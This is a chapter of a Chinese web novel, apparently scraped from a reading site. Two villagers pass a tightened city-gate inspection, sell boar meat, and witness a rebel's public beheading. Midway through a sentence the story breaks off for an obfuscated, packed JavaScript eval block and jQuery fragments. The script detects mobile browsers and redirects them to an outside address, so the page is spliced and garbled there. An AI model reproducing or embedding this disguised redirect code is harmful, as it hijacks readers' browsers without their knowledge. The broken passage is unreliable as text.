默认冷灰
24号文字
方正启体

8. 进城

作者:喵驴大人本书字数:K更新时间:
    翌日,天光未大亮,晨间雾气氤氲。


    段令闻早早起身,将准备换钱的野猪肉仔细分出一块,约莫五两重,用干净荷叶包好,去村头的段盼家换了一张路引。


    要进城就需要路引。


    之前在太平年间,或许还没那么严,可自从各地出现反虞的乱党后,各地盘查就变得尤为严厉。


    景谡非吴县人,身上更没有什么路引,段令闻便用几两肉暂时借用一张路引。


    “段武,年二十二,吴县段家村人。”景谡低声念道。


    “嗯!”段令闻点了点头。段武是段盼的哥哥,好吃懒做,在村里是个流氓痞子,平日里很少进城,应当是没有多少人认出来。


    景谡将路引收好,旋即抗起那捆沉甸甸的野猪肉和皮子,“走吧。”


    “还是我来吧。”段令闻低声惊呼一声,担心他又扯开了伤口。


    景谡用左臂扛着,并无大碍,“无妨,你方才不是说,村口的段大叔在等着了吗?”


    段家村偏壤,要走路进城的话,至少也得一个时辰,因而,村子里的人很少进城。一定要去的话,便坐着村口段大叔的牛车去,一来一回,只需五个铜钱。


    段令闻见状,便不再多言,他回屋告别了爷爷。


    二人快步朝着村头走去。


    村口的老槐树下,段大叔和他的老牛车已经等在那里了。


    段大叔是个哑巴,看到段令闻和景谡走来,布满皱纹的脸上露出憨厚朴实的笑容,咿咿呀呀地比划着,示意他们快上来。


    段令闻快步上前,从怀里掏出十枚铜钱,想要塞给段大叔。


    段大叔一见,立刻收敛了笑容,用力地摆手摇头,喉咙里发出急促的“啊啊”声,坚决不肯收。


    他指指段令闻,又指指自己心口,然后做出写字的动作。


    段令闻明白他的意思。


    早年段大叔的儿子参军离家,音信艰难,是段令闻的爷爷时常帮着段大叔读信、写信,一分不收。


    这份情,段大叔一直记在心里。


    可段大叔的生活也不容易,他不收铜钱,段令闻便将一块肉悄悄挂在他的牛车后。


    几人乘着牛车朝着城里出发。


    老牛迈着沉稳的步子,拉着吱呀作响的板车,缓缓行驶在蜿蜒的土路上。晨雾如同轻纱,尚未完全散去,缠绕在远处的山腰,将连绵的翠色晕染得朦胧。


    道路两旁是起伏的田野,这个时节,庄稼刚挂上稻穗牙子,再过两个月,这稻子才成熟。


    曾几何时,段令闻家里也有这样几亩良田。父母勤劳,精耕细作,每年的收成交了税后,除了温饱,还能略有盈余。


    可也正是因为这田地产出太好,引来了祸端。


    县里一个姓钱的地主,不知怎的就看上了他家那几块连成片的肥田。先是派人来“好言相商”,被父亲断然拒绝后,便露出了獠牙。


    县衙的胥吏带着地主的家奴,拿着盖了官府印章的文书,趾高气扬地宣布,为了通渠灌溉,要征用他家的地开挖水渠。


    而那所谓的“补偿”,只有市价的三成不到,简直是明抢。


    父亲气得浑身发抖,据理力争,却被那些如狼似虎的家奴推搡在地,拳脚相加。


    那顿毒打,彻底击垮了父亲的身体,从此落下了病根,阴雨天便浑身疼痛。为了凑钱买药,家里能卖的都卖了。


    可屋漏偏逢连夜雨,没多久,官府征发徭役的牌子又送到了家门口。


    病弱的父亲如何能承受那繁重的苦役?


    母亲哭干了眼泪,求遍了亲戚邻里,才凑了些钱想为父亲免除徭役,可那胥吏收了钱,却依旧冷笑着将父亲的名字报了上去。


    父亲这一去,就再也没能回来。沉重的劳役和早已垮掉的身体,最终将他彻底压垮。


    段令闻望着那片稻田,眼神空洞,痛苦的回忆涌上心头。


    他不明白,为何勤恳善良的父母会落得如此下场,不明白为何这世道竟能如此不公。


    在这个世道,仅仅是活着,便已经很艰难了。


    他微微低下头,长长的睫毛垂了下来,遮掩住眼底那片化不开的迷惘与哀凉。


    景谡坐在一旁,忽而察觉到他低落的情绪,他拿起一旁粗竹筒制成的水壶,拔开塞子,将水壶递到段令闻身前,“喝点水吧。”


    声音打断了段令闻的思绪,他低声道谢,旋即接过水壶喝了一口,心头似乎也没那么烦闷了。


    约莫小半个时辰后,几人来到吴县的城门口。


    城门洞开,但两侧拒马重重,守卫的兵卒比平日多了几倍。


    “无路引者、形迹可疑者,一律扣押审问!敢有冲卡者,视为反贼乱党,格杀勿论!”一守卫大声喝道。


    排队等候验查路引的人众多,虽有小声抗议,却也不敢违抗。


    肃杀之气扑面而来。


    队伍缓慢地前行着,就在这时,一守卫频频朝这边投来目光,景谡不着痕迹地移开了视线,又在几人不注意的时候,斜睨着那守卫看去的方向。


    这才发现,无怪守卫发现了异常,他只看了一眼,便知那斜后方一人行为举止怪异,四处张望,他不像普通乡野村夫,可也不像世家子弟那般冷静从容。


    这个人,很奇怪。


    两名守卫大步上前,指着那人呵道:“你叫什么名字,路引呢!”


    那人被守卫厉声喝问,顿时慌了手脚,眼神闪烁不定,下意识地后退了半步,连连摆手道:“我、我不进城!我就是路过,看看,就在外面看看……”


    他这话一出口,周围所有人的目光都集中到了他身上,连原本小声抱怨的队伍都瞬间安静下来。


    在这严查之时,守在城门口却说不进城,无疑是此地无银三百两。


    那问话的守卫脸色瞬间沉了下来,眼中厉色一闪,猛地拔出腰间佩刀,刀尖直指那人,“鬼鬼祟祟在此窥探城防,还说不是乱贼探子!来人,将他拿下!”


    “我真不是什么探子!”那人瞬间慌了神,他刚想转身逃跑,刀刃冷不丁地架在他的脖子上。


    两名兵卒立即扑上前来,一左一右扭住了那人的胳膊。


    那人挣扎着,大声道:“我要见你们的头儿——”


    话音未落,一兵卒


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372493|183995||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    猛地给了他一巴掌,“啪”的一声脆响,打断了那人的叫嚷。力道之大,打得他头猛地一偏,脸颊瞬间红肿起来,嘴角渗出一丝血迹。


    “吵死了!”那动手的兵卒恶狠狠地啐了一口,“老实点!”


    这一巴掌彻底打掉了那人所有的气焰,他被打得眼冒金星,耳朵里嗡嗡作响,随即被守卫拖去关押嫌犯的地方。


    经过景谡和段令闻身边时,那人涣散的目光无意中对上了景谡的目光,忽地,他瞪大了眼睛,手无力地朝着景谡的方向伸来,可还是被守卫无情拖走。


    景谡眉头微蹙,这个人,似乎认识他。


    忽地,一只手轻轻拽了拽他的衣衫。


    “快到我们了。”段令闻低声提醒。


    两人的路引都没有什么问题,景谡只简单地说了一下籍贯与名字,守卫便将人放了进去。


    两人先去了城里的皮货铺。掌柜的是个精瘦的中年人,验看了野猪皮,成色颇好。可官府多次征粮,这生意不好做,几番压价下来,最后只能给个寻常一半的价钱。


    段令闻虽然心疼换不了多少钱,可这皮自己留着也没有多大的用,便答应了下来。


    接着二人又将一部分瘦肉和骨头卖给肉铺,换了些铜钱和盐。


    揣着剩下的钱,段令闻松了口气,脸上露出一丝轻快,“药铺就在前面,买了药,我们就回去吧……”


    话音未落,前方街口突然传来一阵马蹄声和厉声呵斥!


    “闪开!都闪开!”


    只见几名骑兵开道,马鞭挥舞,驱赶着街上的百姓。人群顿时一片惊慌混乱,向两旁拥挤推搡着。


    景谡眼神一凛,迅速将段令闻拉向自己身侧,用身体护着他疾步退到街边一个卖杂货的摊位旁。


    混乱中,一辆简陋的囚车被马匹拖着,吱呀作响地驶来。


    木栅栏里,关着的是一个满面血污的男子,他头发散乱,衣衫褴褛,身上尽是被严刑拷打的伤痕。


    押车的虞兵骑在高头大马上,对着街道两旁惊恐的百姓高声宣布:“此人,勾结反贼乱党,按律,押赴东市,当众斩首,以儆效尤!”


    话落,百姓们面露惧色,纷纷低头,不敢多看那囚车一眼,更无人敢出声。


    那囚车上的人闻言,非但没有露出惧色,反而猛地抬起头,纵然满脸血污,那双眼睛却亮得惊人。他大笑出声,猛地啐出一口带血的唾沫:“我呸!”


    他声音陡然拔高,盖过了街上的嘈杂,“狗官!睁开你们的狗眼看清楚!当今天子昏庸无道,朝廷腐朽不堪,贪官污吏横行乡里!赋税沉重,欺压良善,民不聊生!他们!何曾管过我们老百姓的死活!”


    押车的虞兵脸色大变,厉声呵斥:“住口!死到临头还敢妖言惑众!”


    说着便要挥鞭抽打。


    那囚犯不顾伤痛,继续嘶声怒吼:“我是不是妖言,天下人自有公断!虞朝气数已尽!卢公举义旗,乃顺天应民!义军,必胜!”


    围观的百姓一时怔然。


    骑在马上的虞兵脸色铁青,他抬起长刀,手起刀落。霎时间,一颗头颅落下,鲜血飞溅。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)